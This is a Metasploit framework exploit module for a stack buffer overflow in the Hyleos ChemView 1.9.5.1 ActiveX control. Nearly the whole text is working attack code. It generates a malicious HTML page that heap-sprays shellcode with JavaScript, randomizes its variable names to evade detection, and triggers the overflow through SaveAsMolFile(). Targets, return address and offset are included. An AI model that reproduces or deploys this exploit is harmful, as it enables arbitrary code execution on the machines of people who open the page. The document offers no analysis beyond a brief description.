Hyleos ChemView 1.9.5.1 – ActiveX Control Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Hyleos ChemView ActiveX Control Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack-based buffer overflow within HyleosChemView.ocx of Hyleos ChemView 1.9.5.1 By setting an overly long value to 'SaveAsMolFile()', an attacker can overrun a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dz_attacker <dz_attacker[at]hotmail.fr>' ], 'References' => [ [ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0a\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ] ], 'DisclosureDate' => 'Feb 11 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), ], self.class) end def exploit # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = Rex::Text.uri_encode([target.ret].pack('L')) blocksize = 0x40000 fillto = 300 offset = target['Offset'] # Randomize the javascript variable names chemview = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) html = %Q|<html> <object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object> <script> #{j_shellcode}=unescape('#{shellcode}'); #{j_nops}=unescape('#{nops}'); #{j_headersize}=20; #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; #{j_memory}=new Array(); for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; var #{j_ret}=''; for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}'); #{chemview}.SaveAsMolFile(#{j_ret}); </script> </html>| print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(html) end end |